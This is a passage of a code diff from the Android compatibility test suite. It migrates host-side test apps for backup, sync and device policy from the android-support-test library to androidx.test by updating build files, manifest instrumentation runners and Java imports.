     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsFullbackupApp.apk" />
diff --git a/hostsidetests/backup/FullBackupOnly/FullBackupOnlyFalseNoAgentApp/Android.mk b/hostsidetests/backup/FullBackupOnly/FullBackupOnlyFalseNoAgentApp/Android.mk
index 6155ffb..b2ec23d 100644
--- a/hostsidetests/backup/FullBackupOnly/FullBackupOnlyFalseNoAgentApp/Android.mk
+++ b/hostsidetests/backup/FullBackupOnly/FullBackupOnlyFalseNoAgentApp/Android.mk
@@ -25,7 +25,7 @@
 
 LOCAL_PROGUARD_ENABLED := disabled
 
-LOCAL_STATIC_JAVA_LIBRARIES := android-support-test
+LOCAL_STATIC_JAVA_LIBRARIES := androidx.test.rules
 
 LOCAL_SRC_FILES := $(call all-java-files-under, ../src)
 
diff --git a/hostsidetests/backup/FullBackupOnly/FullBackupOnlyFalseNoAgentApp/AndroidManifest.xml b/hostsidetests/backup/FullBackupOnly/FullBackupOnlyFalseNoAgentApp/AndroidManifest.xml
index c00671f..b4b1cae 100644
--- a/hostsidetests/backup/FullBackupOnly/FullBackupOnlyFalseNoAgentApp/AndroidManifest.xml
+++ b/hostsidetests/backup/FullBackupOnly/FullBackupOnlyFalseNoAgentApp/AndroidManifest.xml
@@ -25,7 +25,7 @@
     </application>
 
     <instrumentation
-        android:name="android.support.test.runner.AndroidJUnitRunner"
+        android:name="androidx.test.runner.AndroidJUnitRunner"
         android:targetPackage="android.cts.backup.fullbackuponlyapp" />
 
 </manifest>
diff --git a/hostsidetests/backup/FullBackupOnly/FullBackupOnlyFalseWithAgentApp/Android.mk b/hostsidetests/backup/FullBackupOnly/FullBackupOnlyFalseWithAgentApp/Android.mk
index 62b9860..eaeafe8 100644
--- a/hostsidetests/backup/FullBackupOnly/FullBackupOnlyFalseWithAgentApp/Android.mk
+++ b/hostsidetests/backup/FullBackupOnly/FullBackupOnlyFalseWithAgentApp/Android.mk
@@ -25,7 +25,7 @@
 
 LOCAL_PROGUARD_ENABLED := disabled
 
-LOCAL_STATIC_JAVA_LIBRARIES := android-support-test
+LOCAL_STATIC_JAVA_LIBRARIES := androidx.test.rules
 
 LOCAL_SRC_FILES := $(call all-java-files-under, ../src)
 
diff --git a/hostsidetests/backup/FullBackupOnly/FullBackupOnlyFalseWithAgentApp/AndroidManifest.xml b/hostsidetests/backup/FullBackupOnly/FullBackupOnlyFalseWithAgentApp/AndroidManifest.xml
index 03555d4..d00a984 100644
--- a/hostsidetests/backup/FullBackupOnly/FullBackupOnlyFalseWithAgentApp/AndroidManifest.xml
+++ b/hostsidetests/backup/FullBackupOnly/FullBackupOnlyFalseWithAgentApp/AndroidManifest.xml
@@ -26,7 +26,7 @@
     </application>
 
     <instrumentation
-        android:name="android.support.test.runner.AndroidJUnitRunner"
+        android:name="androidx.test.runner.AndroidJUnitRunner"
         android:targetPackage="android.cts.backup.fullbackuponlyapp" />
 
 </manifest>
diff --git a/hostsidetests/backup/FullBackupOnly/FullBackupOnlyTrueWithAgentApp/Android.mk b/hostsidetests/backup/FullBackupOnly/FullBackupOnlyTrueWithAgentApp/Android.mk
index 8257ea7..89d16e8 100644
--- a/hostsidetests/backup/FullBackupOnly/FullBackupOnlyTrueWithAgentApp/Android.mk
+++ b/hostsidetests/backup/FullBackupOnly/FullBackupOnlyTrueWithAgentApp/Android.mk
@@ -25,7 +25,7 @@
 
 LOCAL_PROGUARD_ENABLED := disabled
 
-LOCAL_STATIC_JAVA_LIBRARIES := android-support-test
+LOCAL_STATIC_JAVA_LIBRARIES := androidx.test.rules
 
 LOCAL_SRC_FILES := $(call all-java-files-under, ../src)
 
diff --git a/hostsidetests/backup/FullBackupOnly/FullBackupOnlyTrueWithAgentApp/AndroidManifest.xml b/hostsidetests/backup/FullBackupOnly/FullBackupOnlyTrueWithAgentApp/AndroidManifest.xml
index 9b90592..04d3a3f7 100644
--- a/hostsidetests/backup/FullBackupOnly/FullBackupOnlyTrueWithAgentApp/AndroidManifest.xml
+++ b/hostsidetests/backup/FullBackupOnly/FullBackupOnlyTrueWithAgentApp/AndroidManifest.xml
@@ -27,7 +27,7 @@
     </application>
 
     <instrumentation
-        android:name="android.support.test.runner.AndroidJUnitRunner"
+        android:name="androidx.test.runner.AndroidJUnitRunner"
         android:targetPackage="android.cts.backup.fullbackuponlyapp" />
 
 </manifest>
diff --git a/hostsidetests/backup/FullBackupOnly/src/FullBackupOnlyTest.java b/hostsidetests/backup/FullBackupOnly/src/FullBackupOnlyTest.java
index 17a7e2c..bafd87f 100644
--- a/hostsidetests/backup/FullBackupOnly/src/FullBackupOnlyTest.java
+++ b/hostsidetests/backup/FullBackupOnly/src/FullBackupOnlyTest.java
@@ -16,15 +16,16 @@
 
 package android.cts.backup.fullbackuponlyapp;
 
-import static android.support.test.InstrumentationRegistry.getTargetContext;
+import static androidx.test.InstrumentationRegistry.getTargetContext;
 
 import static org.junit.Assert.assertFalse;
 import static org.junit.Assert.assertTrue;
 
 import android.content.Context;
-import android.support.test.runner.AndroidJUnit4;
 import android.util.Log;
 
+import androidx.test.runner.AndroidJUnit4;
+
 import org.junit.Before;
 import org.junit.Test;
 import org.junit.runner.RunWith;
diff --git a/hostsidetests/backup/KeyValueApp/Android.mk b/hostsidetests/backup/KeyValueApp/Android.mk
index d03f85f..7671dcf 100644
--- a/hostsidetests/backup/KeyValueApp/Android.mk
+++ b/hostsidetests/backup/KeyValueApp/Android.mk
@@ -25,7 +25,7 @@
 
 LOCAL_PROGUARD_ENABLED := disabled
 
-LOCAL_STATIC_JAVA_LIBRARIES := android-support-test
+LOCAL_STATIC_JAVA_LIBRARIES := androidx.test.rules
 
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 
diff --git a/hostsidetests/backup/KeyValueApp/AndroidManifest.xml b/hostsidetests/backup/KeyValueApp/AndroidManifest.xml
index cca91a5..262d7cc 100644
--- a/hostsidetests/backup/KeyValueApp/AndroidManifest.xml
+++ b/hostsidetests/backup/KeyValueApp/AndroidManifest.xml
@@ -26,7 +26,7 @@
     </application>
 
     <instrumentation
-        android:name="android.support.test.runner.AndroidJUnitRunner"
+        android:name="androidx.test.runner.AndroidJUnitRunner"
         android:targetPackage="android.cts.backup.keyvaluerestoreapp" />
 
 </manifest>
diff --git a/hostsidetests/backup/KeyValueApp/src/android/cts/backup/keyvaluerestoreapp/KeyValueBackupRestoreTest.java b/hostsidetests/backup/KeyValueApp/src/android/cts/backup/keyvaluerestoreapp/KeyValueBackupRestoreTest.java
index 807f5ae..a6d825a 100644
--- a/hostsidetests/backup/KeyValueApp/src/android/cts/backup/keyvaluerestoreapp/KeyValueBackupRestoreTest.java
+++ b/hostsidetests/backup/KeyValueApp/src/android/cts/backup/keyvaluerestoreapp/KeyValueBackupRestoreTest.java
@@ -17,7 +17,8 @@
 package android.cts.backup.keyvaluerestoreapp;
 
 import static android.content.Context.MODE_PRIVATE;
-import static android.support.test.InstrumentationRegistry.getTargetContext;
+
+import static androidx.test.InstrumentationRegistry.getTargetContext;
 
 import static org.junit.Assert.assertEquals;
 import static org.junit.Assert.assertTrue;
@@ -30,9 +31,10 @@
 import android.content.Intent;
 import android.content.IntentFilter;
 import android.content.SharedPreferences;
-import android.support.test.runner.AndroidJUnit4;
 import android.util.Log;
 
+import androidx.test.runner.AndroidJUnit4;
+
 import org.junit.After;
 import org.junit.Before;
 import org.junit.Test;
diff --git a/hostsidetests/backup/RestoreAnyVersion/NewVersionApp/Android.mk b/hostsidetests/backup/RestoreAnyVersion/NewVersionApp/Android.mk
index 0a0efba..c5bb10a 100644
--- a/hostsidetests/backup/RestoreAnyVersion/NewVersionApp/Android.mk
+++ b/hostsidetests/backup/RestoreAnyVersion/NewVersionApp/Android.mk
@@ -25,7 +25,7 @@
 
 LOCAL_PROGUARD_ENABLED := disabled
 
-LOCAL_STATIC_JAVA_LIBRARIES := android-support-test
+LOCAL_STATIC_JAVA_LIBRARIES := androidx.test.rules
 
 LOCAL_SRC_FILES := $(call all-java-files-under, ../src)
 
diff --git a/hostsidetests/backup/RestoreAnyVersion/NewVersionApp/AndroidManifest.xml b/hostsidetests/backup/RestoreAnyVersion/NewVersionApp/AndroidManifest.xml
index c9284ba..f26431f 100644
--- a/hostsidetests/backup/RestoreAnyVersion/NewVersionApp/AndroidManifest.xml
+++ b/hostsidetests/backup/RestoreAnyVersion/NewVersionApp/AndroidManifest.xml
@@ -27,7 +27,7 @@
     </application>
 
     <instrumentation
-        android:name="android.support.test.runner.AndroidJUnitRunner"
+        android:name="androidx.test.runner.AndroidJUnitRunner"
         android:targetPackage="android.cts.backup.restoreanyversionapp" />
 
 </manifest>
diff --git a/hostsidetests/backup/RestoreAnyVersion/NoRestoreAnyVersionApp/Android.mk b/hostsidetests/backup/RestoreAnyVersion/NoRestoreAnyVersionApp/Android.mk
index 94d9376..8b0eeed 100644
--- a/hostsidetests/backup/RestoreAnyVersion/NoRestoreAnyVersionApp/Android.mk
+++ b/hostsidetests/backup/RestoreAnyVersion/NoRestoreAnyVersionApp/Android.mk
@@ -25,7 +25,7 @@
 
 LOCAL_PROGUARD_ENABLED := disabled
 
-LOCAL_STATIC_JAVA_LIBRARIES := android-support-test
+LOCAL_STATIC_JAVA_LIBRARIES := androidx.test.rules
 
 LOCAL_SRC_FILES := $(call all-java-files-under, ../src)
 
diff --git a/hostsidetests/backup/RestoreAnyVersion/NoRestoreAnyVersionApp/AndroidManifest.xml b/hostsidetests/backup/RestoreAnyVersion/NoRestoreAnyVersionApp/AndroidManifest.xml
index 0d05b99..6f99f10 100644
--- a/hostsidetests/backup/RestoreAnyVersion/NoRestoreAnyVersionApp/AndroidManifest.xml
+++ b/hostsidetests/backup/RestoreAnyVersion/NoRestoreAnyVersionApp/AndroidManifest.xml
@@ -27,7 +27,7 @@
     </application>
 
     <instrumentation
-        android:name="android.support.test.runner.AndroidJUnitRunner"
+        android:name="androidx.test.runner.AndroidJUnitRunner"
         android:targetPackage="android.cts.backup.restoreanyversionapp" />
 
 </manifest>
diff --git a/hostsidetests/backup/RestoreAnyVersion/RestoreAnyVersionApp/Android.mk b/hostsidetests/backup/RestoreAnyVersion/RestoreAnyVersionApp/Android.mk
index 81652a7..0728535 100644
--- a/hostsidetests/backup/RestoreAnyVersion/RestoreAnyVersionApp/Android.mk
+++ b/hostsidetests/backup/RestoreAnyVersion/RestoreAnyVersionApp/Android.mk
@@ -25,7 +25,7 @@
 
 LOCAL_PROGUARD_ENABLED := disabled
 
-LOCAL_STATIC_JAVA_LIBRARIES := android-support-test
+LOCAL_STATIC_JAVA_LIBRARIES := androidx.test.rules
 
 LOCAL_SRC_FILES := $(call all-java-files-under, ../src)
 
diff --git a/hostsidetests/backup/RestoreAnyVersion/RestoreAnyVersionApp/AndroidManifest.xml b/hostsidetests/backup/RestoreAnyVersion/RestoreAnyVersionApp/AndroidManifest.xml
index 57fdf1f..a4a5e9c 100644
--- a/hostsidetests/backup/RestoreAnyVersion/RestoreAnyVersionApp/AndroidManifest.xml
+++ b/hostsidetests/backup/RestoreAnyVersion/RestoreAnyVersionApp/AndroidManifest.xml
@@ -28,7 +28,7 @@
     </application>
 
     <instrumentation
-        android:name="android.support.test.runner.AndroidJUnitRunner"
+        android:name="androidx.test.runner.AndroidJUnitRunner"
         android:targetPackage="android.cts.backup.restoreanyversionapp" />
 
 </manifest>
diff --git a/hostsidetests/backup/RestoreAnyVersion/src/RestoreAnyVersionTest.java b/hostsidetests/backup/RestoreAnyVersion/src/RestoreAnyVersionTest.java
index 1dbdb05..3646247 100644
--- a/hostsidetests/backup/RestoreAnyVersion/src/RestoreAnyVersionTest.java
+++ b/hostsidetests/backup/RestoreAnyVersion/src/RestoreAnyVersionTest.java
@@ -17,28 +17,24 @@
 package android.cts.backup.restoreanyversionapp;
 
 import static android.content.Context.MODE_PRIVATE;
-import static android.support.test.InstrumentationRegistry.getTargetContext;
+
+import static androidx.test.InstrumentationRegistry.getTargetContext;
 
 import static org.junit.Assert.assertEquals;
 import static org.junit.Assert.assertTrue;
 
-import android.content.BroadcastReceiver;
 import android.content.Context;
-import android.content.Intent;
-import android.content.IntentFilter;
 import android.content.SharedPreferences;
 import android.content.pm.PackageInfo;
 import android.content.pm.PackageManager.NameNotFoundException;
-import android.support.test.runner.AndroidJUnit4;
 import android.util.Log;
 
+import androidx.test.runner.AndroidJUnit4;
+
 import org.junit.Before;
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
-import java.util.concurrent.CountDownLatch;
-import java.util.concurrent.TimeUnit;
-
 /**
  * Device side routines to be invoked by the host side RestoreAnyVersionHostSideTest. These
  * are not designed to be called in any other way, as they rely on state set up by the host side
diff --git a/hostsidetests/backup/SharedPreferencesRestoreApp/Android.mk b/hostsidetests/backup/SharedPreferencesRestoreApp/Android.mk
index 4e4f0be..1966414 100644
--- a/hostsidetests/backup/SharedPreferencesRestoreApp/Android.mk
+++ b/hostsidetests/backup/SharedPreferencesRestoreApp/Android.mk
@@ -25,7 +25,7 @@
 
 LOCAL_PROGUARD_ENABLED := disabled
 
-LOCAL_STATIC_JAVA_LIBRARIES := android-support-test
+LOCAL_STATIC_JAVA_LIBRARIES := androidx.test.rules
 
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 
diff --git a/hostsidetests/backup/SharedPreferencesRestoreApp/AndroidManifest.xml b/hostsidetests/backup/SharedPreferencesRestoreApp/AndroidManifest.xml
index 1cf6da5..e2eb7c5 100644
--- a/hostsidetests/backup/SharedPreferencesRestoreApp/AndroidManifest.xml
+++ b/hostsidetests/backup/SharedPreferencesRestoreApp/AndroidManifest.xml
@@ -35,7 +35,7 @@
     </application>
 
     <instrumentation
-        android:name="android.support.test.runner.AndroidJUnitRunner"
+        android:name="androidx.test.runner.AndroidJUnitRunner"
         android:targetPackage="android.cts.backup.sharedprefrestoreapp" />
 
 </manifest>
diff --git a/hostsidetests/backup/SuccessNotificationApp/Android.mk b/hostsidetests/backup/SuccessNotificationApp/Android.mk
index 8531225..12db13d 100644
--- a/hostsidetests/backup/SuccessNotificationApp/Android.mk
+++ b/hostsidetests/backup/SuccessNotificationApp/Android.mk
@@ -25,7 +25,7 @@
 
 LOCAL_PROGUARD_ENABLED := disabled
 
-LOCAL_STATIC_JAVA_LIBRARIES := android-support-test
+LOCAL_STATIC_JAVA_LIBRARIES := androidx.test.rules
 
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 
diff --git a/hostsidetests/backup/SuccessNotificationApp/AndroidManifest.xml b/hostsidetests/backup/SuccessNotificationApp/AndroidManifest.xml
index b7f8c2c..307b0e1 100644
--- a/hostsidetests/backup/SuccessNotificationApp/AndroidManifest.xml
+++ b/hostsidetests/backup/SuccessNotificationApp/AndroidManifest.xml
@@ -27,6 +27,6 @@
     </application>
 
     <instrumentation
-        android:name="android.support.test.runner.AndroidJUnitRunner"
+        android:name="androidx.test.runner.AndroidJUnitRunner"
         android:targetPackage="android.cts.backup.successnotificationapp" />
 </manifest>
diff --git a/hostsidetests/backup/SuccessNotificationApp/src/android/cts/backup/successnotificationapp/SuccessNotificationTest.java b/hostsidetests/backup/SuccessNotificationApp/src/android/cts/backup/successnotificationapp/SuccessNotificationTest.java
index 3fb8ef2..96c935c 100644
--- a/hostsidetests/backup/SuccessNotificationApp/src/android/cts/backup/successnotificationapp/SuccessNotificationTest.java
+++ b/hostsidetests/backup/SuccessNotificationApp/src/android/cts/backup/successnotificationapp/SuccessNotificationTest.java
@@ -16,11 +16,13 @@
 
 package android.cts.backup.successnotificationapp;
 
-import static android.support.test.InstrumentationRegistry.getTargetContext;
+import static androidx.test.InstrumentationRegistry.getTargetContext;
+
 import static org.junit.Assert.assertTrue;
 
 import android.content.Context;
-import android.support.test.runner.AndroidJUnit4;
+
+import androidx.test.runner.AndroidJUnit4;
 
 import org.junit.Test;
 import org.junit.runner.RunWith;
diff --git a/hostsidetests/backup/fullbackupapp/Android.mk b/hostsidetests/backup/fullbackupapp/Android.mk
index 40a90d6..91c6d5e 100644
--- a/hostsidetests/backup/fullbackupapp/Android.mk
+++ b/hostsidetests/backup/fullbackupapp/Android.mk
@@ -25,7 +25,7 @@
 
 LOCAL_PROGUARD_ENABLED := disabled
 
-LOCAL_STATIC_JAVA_LIBRARIES := android-support-test
+LOCAL_STATIC_JAVA_LIBRARIES := androidx.test.rules
 
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 
diff --git a/hostsidetests/backup/fullbackupapp/AndroidManifest.xml b/hostsidetests/backup/fullbackupapp/AndroidManifest.xml
index 58f9306..6ab3f68 100644
--- a/hostsidetests/backup/fullbackupapp/AndroidManifest.xml
+++ b/hostsidetests/backup/fullbackupapp/AndroidManifest.xml
@@ -22,7 +22,7 @@
     </application>
 
     <instrumentation
-        android:name="android.support.test.runner.AndroidJUnitRunner"
+        android:name="androidx.test.runner.AndroidJUnitRunner"
         android:targetPackage="android.cts.backup.fullbackupapp" />
 
 </manifest>
diff --git a/hostsidetests/backup/fullbackupapp/src/android/cts/backup/fullbackupapp/FullbackupTest.java b/hostsidetests/backup/fullbackupapp/src/android/cts/backup/fullbackupapp/FullbackupTest.java
index ee49b87..fc07ad6 100644
--- a/hostsidetests/backup/fullbackupapp/src/android/cts/backup/fullbackupapp/FullbackupTest.java
+++ b/hostsidetests/backup/fullbackupapp/src/android/cts/backup/fullbackupapp/FullbackupTest.java
@@ -16,15 +16,16 @@
 
 package android.cts.backup.fullbackupapp;
 
-import static android.support.test.InstrumentationRegistry.getTargetContext;
+import static androidx.test.InstrumentationRegistry.getTargetContext;
 
-import static org.junit.Assert.assertTrue;
 import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertTrue;
 
 import android.content.Context;
-import android.support.test.runner.AndroidJUnit4;
 import android.util.Log;
 
+import androidx.test.runner.AndroidJUnit4;
+
 import org.junit.Before;
 import org.junit.Test;
 import org.junit.runner.RunWith;
diff --git a/hostsidetests/backup/includeexcludeapp/Android.mk b/hostsidetests/backup/includeexcludeapp/Android.mk
index 2043a14..08ddbd8 100644
--- a/hostsidetests/backup/includeexcludeapp/Android.mk
+++ b/hostsidetests/backup/includeexcludeapp/Android.mk
@@ -25,7 +25,7 @@
 
 LOCAL_PROGUARD_ENABLED := disabled
 
-LOCAL_STATIC_JAVA_LIBRARIES := android-support-test
+LOCAL_STATIC_JAVA_LIBRARIES := androidx.test.rules
 
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 
diff --git a/hostsidetests/backup/includeexcludeapp/AndroidManifest.xml b/hostsidetests/backup/includeexcludeapp/AndroidManifest.xml
index 3726eca..0367397 100644
--- a/hostsidetests/backup/includeexcludeapp/AndroidManifest.xml
+++ b/hostsidetests/backup/includeexcludeapp/AndroidManifest.xml
@@ -23,7 +23,7 @@
     </application>
 
     <instrumentation
-        android:name="android.support.test.runner.AndroidJUnitRunner"
+        android:name="androidx.test.runner.AndroidJUnitRunner"
         android:targetPackage="android.cts.backup.includeexcludeapp" />
 
 </manifest>
diff --git a/hostsidetests/backup/includeexcludeapp/src/android/cts/backup/includeexcludeapp/IncludeExcludeTest.java b/hostsidetests/backup/includeexcludeapp/src/android/cts/backup/includeexcludeapp/IncludeExcludeTest.java
index 286d7a3..f46e3f2 100644
--- a/hostsidetests/backup/includeexcludeapp/src/android/cts/backup/includeexcludeapp/IncludeExcludeTest.java
+++ b/hostsidetests/backup/includeexcludeapp/src/android/cts/backup/includeexcludeapp/IncludeExcludeTest.java
@@ -16,16 +16,17 @@
 
 package android.cts.backup.includeexcludeapp;
 
-import static android.support.test.InstrumentationRegistry.getTargetContext;
+import static androidx.test.InstrumentationRegistry.getTargetContext;
 
 import static org.junit.Assert.assertEquals;
-import static org.junit.Assert.assertTrue;
 import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertTrue;
 import static org.junit.Assert.fail;
 
 import android.content.Context;
 import android.content.SharedPreferences;
-import android.support.test.runner.AndroidJUnit4;
+
+import androidx.test.runner.AndroidJUnit4;
 
 import org.junit.Before;
 import org.junit.Test;
diff --git a/hostsidetests/content/test-apps/CtsSyncInvalidAccountAuthorityTestCases/Android.mk b/hostsidetests/content/test-apps/CtsSyncInvalidAccountAuthorityTestCases/Android.mk
index 3069bac..196e6c8 100644
--- a/hostsidetests/content/test-apps/CtsSyncInvalidAccountAuthorityTestCases/Android.mk
+++ b/hostsidetests/content/test-apps/CtsSyncInvalidAccountAuthorityTestCases/Android.mk
@@ -20,7 +20,7 @@
 
 LOCAL_MODULE_TAGS := tests
 
-LOCAL_STATIC_JAVA_LIBRARIES := android-support-test ctstestrunner
+LOCAL_STATIC_JAVA_LIBRARIES := androidx.test.rules ctstestrunner-axt
 
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 
diff --git a/hostsidetests/content/test-apps/CtsSyncInvalidAccountAuthorityTestCases/AndroidManifest.xml b/hostsidetests/content/test-apps/CtsSyncInvalidAccountAuthorityTestCases/AndroidManifest.xml
index 46c34f6..ed2d8dc 100644
--- a/hostsidetests/content/test-apps/CtsSyncInvalidAccountAuthorityTestCases/AndroidManifest.xml
+++ b/hostsidetests/content/test-apps/CtsSyncInvalidAccountAuthorityTestCases/AndroidManifest.xml
@@ -39,6 +39,6 @@
     </application>
 
     <instrumentation
-        android:name="android.support.test.runner.AndroidJUnitRunner"
+        android:name="androidx.test.runner.AndroidJUnitRunner"
         android:targetPackage="android.content.sync.cts" />
 </manifest>
diff --git a/hostsidetests/content/test-apps/CtsSyncInvalidAccountAuthorityTestCases/src/android/content/sync/cts/InvalidSyncAuthoritiesDeviceTest.java b/hostsidetests/content/test-apps/CtsSyncInvalidAccountAuthorityTestCases/src/android/content/sync/cts/InvalidSyncAuthoritiesDeviceTest.java
index f91a358..7357456 100644
--- a/hostsidetests/content/test-apps/CtsSyncInvalidAccountAuthorityTestCases/src/android/content/sync/cts/InvalidSyncAuthoritiesDeviceTest.java
+++ b/hostsidetests/content/test-apps/CtsSyncInvalidAccountAuthorityTestCases/src/android/content/sync/cts/InvalidSyncAuthoritiesDeviceTest.java
@@ -23,8 +23,9 @@
 import android.accounts.AccountManager;
 import android.content.ContentResolver;
 import android.content.Context;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.runner.AndroidJUnit4;
+
+import androidx.test.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
 
 import org.junit.Before;
 import org.junit.Test;
diff --git a/hostsidetests/devicepolicy/app/AccountCheck/Auth/Android.mk b/hostsidetests/devicepolicy/app/AccountCheck/Auth/Android.mk
index 5746089..b223b37 100644
--- a/hostsidetests/devicepolicy/app/AccountCheck/Auth/Android.mk
+++ b/hostsidetests/devicepolicy/app/AccountCheck/Auth/Android.mk
@@ -29,9 +29,9 @@
 
 LOCAL_STATIC_JAVA_LIBRARIES := \
     androidx.legacy_legacy-support-v4  \
-    ctstestrunner  \
+    ctstestrunner-axt  \
     ub-uiautomator  \
-    android-support-test
+    androidx.test.rules
 
 LOCAL_JAVA_LIBRARIES := android.test.base.stubs
 
diff --git a/hostsidetests/devicepolicy/app/AccountCheck/Auth/AndroidManifest.xml b/hostsidetests/devicepolicy/app/AccountCheck/Auth/AndroidManifest.xml
index 97659b3..7af6546 100644
--- a/hostsidetests/devicepolicy/app/AccountCheck/Auth/AndroidManifest.xml
+++ b/hostsidetests/devicepolicy/app/AccountCheck/Auth/AndroidManifest.xml
@@ -41,7 +41,7 @@
     </application>
 
     <instrumentation
-        android:name="android.support.test.runner.AndroidJUnitRunner"
+        android:name="androidx.test.runner.AndroidJUnitRunner"
         android:targetPackage="com.android.cts.devicepolicy.accountcheck.auth" />
 </manifest>
 
diff --git a/hostsidetests/devicepolicy/app/AccountCheck/NonTestOnlyOwner/Android.mk b/hostsidetests/devicepolicy/app/AccountCheck/NonTestOnlyOwner/Android.mk
index 84eb38c..00658e1 100644
--- a/hostsidetests/devicepolicy/app/AccountCheck/NonTestOnlyOwner/Android.mk
+++ b/hostsidetests/devicepolicy/app/AccountCheck/NonTestOnlyOwner/Android.mk
@@ -27,7 +27,7 @@
 
 LOCAL_SRC_FILES := $(call all-java-files-under, ../src-owner)
 
-LOCAL_STATIC_JAVA_LIBRARIES := androidx.legacy_legacy-support-v4 ctstestrunner ub-uiautomator android-support-test
+LOCAL_STATIC_JAVA_LIBRARIES := androidx.legacy_legacy-support-v4 ctstestrunner-axt ub-uiautomator androidx.test.rules
 
 LOCAL_SDK_VERSION := current
 
diff --git a/hostsidetests/devicepolicy/app/AccountCheck/TestOnlyOwner/Android.mk b/hostsidetests/devicepolicy/app/AccountCheck/TestOnlyOwner/Android.mk
index 869d906..0cc8deb 100644
--- a/hostsidetests/devicepolicy/app/AccountCheck/TestOnlyOwner/Android.mk
+++ b/hostsidetests/devicepolicy/app/AccountCheck/TestOnlyOwner/Android.mk
@@ -27,7 +27,7 @@
 
 LOCAL_SRC_FILES := $(call all-java-files-under, ../src-owner)
 
-LOCAL_STATIC_JAVA_LIBRARIES := androidx.legacy_legacy-support-v4 ctstestrunner ub-uiautomator android-support-test
+LOCAL_STATIC_JAVA_LIBRARIES := androidx.legacy_legacy-support-v4 ctstestrunner-axt ub-uiautomator androidx.test.rules
 
 LOCAL_SDK_VERSION := current
 
diff --git a/hostsidetests/devicepolicy/app/AccountCheck/TestOnlyOwnerUpdate/Android.mk b/hostsidetests/devicepolicy/app/AccountCheck/TestOnlyOwnerUpdate/Android.mk
index 9ebfbc8..fd40498 100644
--- a/hostsidetests/devicepolicy/app/AccountCheck/TestOnlyOwnerUpdate/Android.mk
+++ b/hostsidetests/devicepolicy/app/AccountCheck/TestOnlyOwnerUpdate/Android.mk
@@ -27,7 +27,7 @@
 
 LOCAL_SRC_FILES := $(call all-java-files-under, ../src-owner)
 
-LOCAL_STATIC_JAVA_LIBRARIES := androidx.legacy_legacy-support-v4 ctstestrunner ub-uiautomator android-support-test
+LOCAL_STATIC_JAVA_LIBRARIES := androidx.legacy_legacy-support-v4 ctstestrunner-axt ub-uiautomator androidx.test.rules
 
 LOCAL_SDK_VERSION := current
 
diff --git a/hostsidetests/devicepolicy/app/AccountCheck/Tester/Android.mk b/hostsidetests/devicepolicy/app/AccountCheck/Tester/Android.mk
index b3adc70..a84b5bc 100644
--- a/hostsidetests/devicepolicy/app/AccountCheck/Tester/Android.mk
+++ b/hostsidetests/devicepolicy/app/AccountCheck/Tester/Android.mk
@@ -27,7 +27,7 @@
 
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 
-LOCAL_STATIC_JAVA_LIBRARIES := androidx.legacy_legacy-support-v4 ctstestrunner ub-uiautomator android-support-test
+LOCAL_STATIC_JAVA_LIBRARIES := androidx.legacy_legacy-support-v4 ctstestrunner-axt ub-uiautomator androidx.test.rules
 
 LOCAL_SDK_VERSION := test_current
 
diff --git a/hostsidetests/devicepolicy/app/AccountCheck/Tester/AndroidManifest.xml b/hostsidetests/devicepolicy/app/AccountCheck/Tester/AndroidManifest.xml
index a6ea4aa..fe5fb2dc 100644
--- a/hostsidetests/devicepolicy/app/AccountCheck/Tester/AndroidManifest.xml
+++ b/hostsidetests/devicepolicy/app/AccountCheck/Tester/AndroidManifest.xml
@@ -38,7 +38,7 @@
     </application>
 
     <instrumentation
-        android:name="android.support.test.runner.AndroidJUnitRunner"
+        android:name="androidx.test.runner.AndroidJUnitRunner"
         android:targetPackage="com.android.cts.devicepolicy.accountcheck.auth" />
 </manifest>
 
diff --git a/hostsidetests/devicepolicy/app/AccountManagement/Android.mk b/hostsidetests/devicepolicy/app/AccountManagement/Android.mk
index 55e93c3..2ce6c5d 100644
--- a/hostsidetests/devicepolicy/app/AccountManagement/Android.mk
+++ b/hostsidetests/devicepolicy/app/AccountManagement/Android.mk
@@ -29,9 +29,9 @@
 
 LOCAL_STATIC_JAVA_LIBRARIES := \
     androidx.legacy_legacy-support-v4 \
-    ctstestrunner \
+    ctstestrunner-axt \
     ub-uiautomator \
-    android-support-test
+    androidx.test.rules
 
 LOCAL_JAVA_LIBRARIES := android.test.base.stubs
 
diff --git a/hostsidetests/devicepolicy/app/AccountManagement/AndroidManifest.xml b/hostsidetests/devicepolicy/app/AccountManagement/AndroidManifest.xml
index 9c31a62..c951d2a 100644
--- a/hostsidetests/devicepolicy/app/AccountManagement/AndroidManifest.xml
+++ b/hostsidetests/devicepolicy/app/AccountManagement/AndroidManifest.xml
@@ -35,7 +35,7 @@
     </application>
 
     <instrumentation
-        android:name="android.support.test.runner.AndroidJUnitRunner"
+        android:name="androidx.test.runner.AndroidJUnitRunner"
         android:targetPackage="com.android.cts.devicepolicy.accountmanagement"
         android:label="Account policy CTS Tests" />
 </manifest>
diff --git a/hostsidetests/devicepolicy/app/Assistant/Android.mk b/hostsidetests/devicepolicy/app/Assistant/Android.mk
index efd6cd1..6b16d40 100644
--- a/hostsidetests/devicepolicy/app/Assistant/Android.mk
+++ b/hostsidetests/devicepolicy/app/Assistant/Android.mk
@@ -31,8 +31,8 @@
 
 LOCAL_STATIC_JAVA_LIBRARIES := \
     androidx.legacy_legacy-support-v4 \
-    compatibility-device-util \
-    android-support-test \
+    compatibility-device-util-axt \
+    androidx.test.rules \
 
 
 LOCAL_SDK_VERSION := current
diff --git a/hostsidetests/devicepolicy/app/Assistant/AndroidManifest.xml b/hostsidetests/devicepolicy/app/Assistant/AndroidManifest.xml
index 17ca6426..f4d42aa 100644
--- a/hostsidetests/devicepolicy/app/Assistant/AndroidManifest.xml
+++ b/hostsidetests/devicepolicy/app/Assistant/AndroidManifest.xml
@@ -43,7 +43,7 @@
     </application>
 
     <instrumentation
-            android:name="android.support.test.runner.AndroidJUnitRunner"
+            android:name="androidx.test.runner.AndroidJUnitRunner"
